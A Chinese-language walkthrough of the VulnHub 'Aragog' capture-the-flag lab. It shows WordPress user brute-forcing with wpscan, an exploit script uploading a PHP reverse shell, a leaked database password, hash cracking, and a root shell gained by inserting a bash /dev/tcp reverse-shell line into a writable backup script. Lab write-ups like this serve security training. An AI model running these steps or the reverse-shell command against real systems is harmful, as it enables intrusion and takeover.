vulnhub靶场【哈利波特】三部曲之Aragog

前言

使用virtual box虚拟机

靶机:Aragog : 192.168.1.101

攻击:kali : 192.168.1.16

主机发现

使用arp-scan -l扫描,在同一虚拟网卡下

在这里插入图片描述

信息收集

使用nmap扫描

在这里插入图片描述

发现22端口SSH服务,openssh

80端口HTTP服务,Apache 2.4.38

系统为Linux 4.x|5.x

对于80端口进一步收集信息

访问80端口查看

在这里插入图片描述

一张海报,下载查看有无隐藏信息,也不知到密码,所以直接回车,发现没有信息

在这里插入图片描述

扫描网站目录

使用dirsearch、gobuster、dirb、dirbuster、ffuf等工具都可以

在这里插入图片描述

使用whatweb进行探测,结合前面的wp-login.php,确定是wordpressCMS

在这里插入图片描述

使用wpscan专门针对wordpress的工具进行探测,发现有xmlrpc.php文件,说明可能存在用户枚举等,直接再使用该工具进行枚举

在这里插入图片描述

wpscan --url http://192.168.1.101 -e u -P /usr/share/wordlists/rockyou.txt

这个是把从wordpress中枚举的用户,使用密码字典进行对用户的爆破

使用这个命令破解需要时间,可以先访问wp-admin界面查看,发现有问题,这里访问的是域名了

在这里插入图片描述

修改/etc/hosts文件,把域名与ip绑定一起

在这里插入图片描述

再次访问wp-admin,成功访问

在这里插入图片描述

那么前面在进行密码破解时,可能就有问题了,因为之前没有进行域名绑定,并且这里是通过域名进行直接访问的,IP访问是进行的跳转,所以,对于密码爆破,重新进行

url地址改为域名wordpress.aragog.hogwarts即可,其余不用变动

wpscan --url http://word.press.aragog.hogwarts -e u -P 【字典路径】

这次出的东西就增加许多,这里指出一个使用主题,版本过低

在这里插入图片描述

但是因为是密码爆破,所以时间还是长,让他在那继续爆破,继续寻找其他地方。这里经过漫长的时间,一直没有成功,所以可能这里并不存在

寻找其他方法,尝试枚举插件plugins和主题theme等,检测模式等需要改成主动的,具有侵略性的,不然可能会忽略掉一些,上面大部分还是passive被动收集的

漏洞寻找及利用

wpscan --url http://wordpress.aragog.hogwarts/blog -e ap --detection-mode aggressie --plugins-detection-mode aggressive

在这里插入图片描述

有提示,说是版本的问题,这里有的可能不准确,所以还是需要自己去认证,这里直接搜索,看有无该漏洞,可以使用searchsploit或者msf都可以

在这里插入图片描述

直接定位该文件的位置locate,然后复制到当前目录并重命名,方便使用

在这里插入图片描述

可以查看该脚本文件,里面有用法

在这里插入图片描述

在使用该脚本时,会有提示,需要先安装jq的,直接使用apt安装即可。检测到是有漏洞的,开始下一步

在这里插入图片描述

首先这里确定是php脚本语言的,然后这里使用kali自带的一个webshell,路径在/usr/share/webshell/php/php-reverse-shell.php文件,修改其中的监听IP和端口即可

在这里插入图片描述

执行file.sh脚本中的用法,进行上传

bash file.sh -u http://wordpress.aragog.hogwarts/blog -f /usr/share/webshells/php/php-reverse-shell.php --verbose

在这里插入图片描述

可以看到这里的提示,和用法中的一样,表示上传成功,使用kali开启监听1234端口,然后浏览器进行访问,可以发现成功反弹shell

在这里插入图片描述

开始寻找文件,这里可以自己尝试获取交互式界面,我这里就不操作了,可以测试python或者bashsh

在这里插入图片描述

提权

寻找wordpress目录

这里解密后说是"谁的日记被哈里在哪里秘密的摧毁了",则,没有用处,发现在平常的/var/www/html目录下,并不存在wordpress的目录,使用find寻找,可以看到这里的有wp的一些常见目录,去目录下查看

在这里插入图片描述

找对目录了

在这里插入图片描述

查看配置文件wp-config.php

一直指向一个目录下的文件,等下去查看

在这里插入图片描述

这里还提供的连接数据库的库名和用户名,但是没有直接给出密码

在这里插入图片描述

切换/etc/wordpress目录,并查看

在这里插入图片描述

这里有了连接数据库的具体信息,查看端口信息

在这里插入图片描述

连接数据库

使用命令连接数据库

mysql -h localhost -P 3306 -uroot -pmySecr3tPass

查看数据库中的信息

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

可以发现这里的用户hagrid98在网站wordpress中的显示就是WP-Admin,解密这个密码即可,如果有加盐salt等时,再搜索一遍,看能否找到加密算法等,这里直接可以通过md5解密,但是竟然要收费,这不行啊。

在这里插入图片描述

换了一个网站进行解密https://www.somd5.com/

在这里插入图片描述

登录hagrid98

这里就获取用户hagrid98的密码,使用ssh连接

在这里插入图片描述

使用find / -perm -u=s -type f 2>/dev/null未发现有可利用的命令进行提取

使用find寻找可能的一些文件,如*pass**user**back*

找到一个隐藏的备份,这要看看

在这里插入图片描述

发现该文件具有可读可写可执行,对于用户hagrid98,执行测试发现是复制

在这里插入图片描述

再查看具体的代码,

在这里插入图片描述

cp参数:

-r 或 --recursive:用于复制目录及其所有的子目录和文件,如果要复制目录,需要使用该选项。

很明显,就是备份文件到临时目录中,这个备份应该会执行,至于是手工还是定时,不得而知,不过可以在这个代码中进行插入,使得可以获得rootshell。插入下面命令

bash -i >& /dev/tcp/192.168.1.16/8888 0>&1

在这里插入图片描述

登录root

然后在kali中开启监听8888端口,即可发现反弹成功

在这里插入图片描述

清除痕迹

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

总结

  1. 对于网站目录的识别,常见的CMS要大概清楚
  2. 使用wpscan针对扫描wordpress时,可以扫描主题插件等
  3. 对于searchsploit的利用,要会复现
  4. 善用find命令可以使得步骤等非一般的提升
  5. 对于文件,要学会找到一些可能存在的,比如这里的指向,是指向/etc/wordpress目录的,如果文件没看清的话,就会导致寻找不到提权点
  6. 对于常见的数据库使用的加密方式可以简单了解
  7. 找不到具有SUID权限的文件时,可以寻找可能具有关键字的一些文件,常见的密码、用户名以及备份文件等
  8. 常见的提权bash指令,要知道为什么可以提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/927454.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Leetcode】26.删除有序数组中的重复项

题目链接: https://leetcode.cn/problems/remove-duplicates-from-sorted-array/description/?envTypestudy-plan-v2&envIdtop-interview-150 题目描述: 解题思路: 使用双指针算法(快慢指针),p1与p2…

深度学习开端知识

深度学习概述 什么是深度学习 人工智能、机器学习和深度学习之间的关系: 机器学习是实现人工智能的一种途径,深度学习是机器学习的子集,区别如下: 传统机器学习算法依赖人工设计特征、提取特征,而深度学习依赖算法自…

Redis自学之路—高级特性(实现消息队列)(七)

目录 简介 Redis的Key和Value的数据结构组织 全局哈希表 渐进式rehash 发布和订阅 操作命令 publish 发布消息 subscribe 订阅消息 psubscribe订阅频道 unsubscribe 取消订阅一个或多个频道 punsubscribe 取消订阅一个或多个模式 查询订阅情况-查看活跃的频道 查询…

高效集成:将聚水潭数据导入MySQL的实战案例

聚水潭数据集成到MySQL:店铺信息查询案例分享 在数据驱动的业务环境中,如何高效、准确地实现跨平台的数据集成是每个企业面临的重要挑战。本文将聚焦于一个具体的系统对接集成案例——将聚水潭的店铺信息查询结果集成到MySQL数据库中,以供BI…

LeetCode-430. 扁平化多级双向链表-题解

题目链接 430. 扁平化多级双向链表 - 力扣(LeetCode) 题目介绍 你将得到一个双链表,节点包含一个“下一个”指针、一个“前一个”指针和一个额外的“子指针”。这个子指针可能指向一个单独的双向链表,并且这些链表也包含类似的特殊…

arkTS:持久化储存UI状态的基本用法(PersistentStorage)

arkUI:持久化储存UI状态的基本用法(PersistentStorage) 1 主要内容说明2 例子2.1 持久化储存UI状态的基本用法(PersistentStorage)2.1.1 源码1的相关说明2.1.1.1 数据存储2.1.1.2 数据读取2.1.1.3 动态更新2.1.1.4 显示…

AI 助力开发新篇章:云开发 Copilot 深度体验与技术解析

本文 一、引言:技术浪潮中的个人视角1.1 AI 和低代码的崛起1.2 为什么选择云开发 Copilot? 二、云开发 Copilot 的核心功能解析2.1 自然语言驱动的低代码开发2.1.1 自然语言输入示例2.1.2 代码生成的模块化支持 2.2 实时预览与调整2.2.1 实时预览窗口功能…

AI高中数学教学视频生成技术:利用通义千问、MathGPT、视频多模态大模型,语音大模型,将4个模型融合 ,生成高中数学教学视频,并给出实施方案。

大家好,我是微学AI,今天给大家介绍一下AI高中数学教学视频生成技术:利用通义千问、MathGPT、视频多模态大模型,语音大模型,将4个模型融合 ,生成高中数学教学视频,并给出实施方案。本文利用专家模…

【前端Vue】day04

一、学习目标 1.组件的三大组成部分(结构/样式/逻辑) ​ scoped解决样式冲突/data是一个函数 2.组件通信 组件通信语法父传子子传父非父子通信(扩展) 3.综合案例:小黑记事本(组件版) 拆分…

嵌入式系统应用-LVGL的应用-平衡球游戏 part2

平衡球游戏 part2 4 mpu60504.1 mpu6050 介绍4.2 电路图4.3 驱动代码编写 5 游戏界面移植5.1 移植源文件5.2 添加头文件 6 参数移植6.1 4 mpu6050 4.1 mpu6050 介绍 MPU6050是一款由InvenSense公司生产的加速度计和陀螺仪传感器,广泛应用于消费电子、机器人等领域…

每日十题八股-2024年12月2日

1.你知道有哪个框架用到NIO了吗? 2.有一个学生类,想按照分数排序,再按学号排序,应该怎么做? 3.Native方法解释一下 4.数组与集合区别,用过哪些? 5.说说Java中的集合? 6.Java中的线程…

git 常用命令及问题

一、常用命令 git add filename git add . git commit -m "messge" git commit --amend 修改最近一次的提交 git push origin HEAD:refs/for/master git clone url git checkout branchname 切换分支 git branch -r 查看远程仓库分支列表 git branch br…

DSD-DA

adversarial loss L a d v _{adv} adv​ g() denotes the project function,Gradient Reverse Layer(GRL). ROI features F ( r ) (r) (r) 补充信息 作者未提供代码

医院管理系统

私信我获取源码和万字论文,制作不易,感谢点赞支持。 医院管理系统 摘要 随着信息互联网信息的飞速发展,医院也在创建着属于自己的管理系统。本文介绍了医院管理系统的开发全过程。通过分析企业对于医院管理系统的需求,创建了一个计…

SpringBoot 整合 Avro 与 Kafka

优质博文:IT-BLOG-CN 【需求】:生产者发送数据至 kafka 序列化使用 Avro,消费者通过 Avro 进行反序列化,并将数据通过 MyBatisPlus 存入数据库。 一、环境介绍 【1】Apache Avro 1.8;【2】Spring Kafka 1.2&#xf…

Win10+Ubuntu20.04双系统重装Ubuntu22.04单系统

从去年 8 月美化 Ubuntu 系统后一直存在内核错误问题,但因为大部分功能还能正常使用,只是在 apt 时报错,所以一直逃避不想重装,直到最近 12 月新的开始,恰好设置的界面打不开得重装 gnome ,所以下定决心重装…

Linux:进程间通信之system V

一、共享内存 进程间通信的本质是让不同的进程看到同一份代码。 1.1 原理 第一步:申请公共内存 为了让不同的进程看到同一份资源,首先我们需要由操作系统为我们提供一个公共的内存块。 第二步:挂接到要通信进程的地址空间中 &#xff…

Vue进阶之单组件开发与组件通信

书接上篇,我们了解了如何快速创建一个脚手架,现在我们来学习如何基于vite创建属于自己的脚手架。在创建一个新的组件时,要在新建文件夹中打开终端创建一个基本的脚手架,可在脚手架中原有的文件中修改或在相应路径重新创建&#xf…

【Linux网络编程】第四弹---构建UDP服务器与字典翻译系统:源码结构与关键组件解析

✨个人主页: 熬夜学编程的小林 💗系列专栏: 【C语言详解】 【数据结构详解】【C详解】【Linux系统编程】【Linux网络编程】 目录 1、UdpServer.hpp 1.1、函数对象声明 1.2、Server类基本结构 1.3、构造函数 1.4、Start() 2、Dict.hpp…

数字IC后端设计实现之分段长clock tree经典案例

最近发现很多读者问到分段长clock tree的做法,小编今天给大家分享几个SoC芯片中复杂时钟结构设计的分段长clock tree的应用案例。希望对各位的学习和工作有所助益。 数字后端设计实现之时钟树综合实践篇 数字IC后端实现专家都具备哪些技能?&#xff08…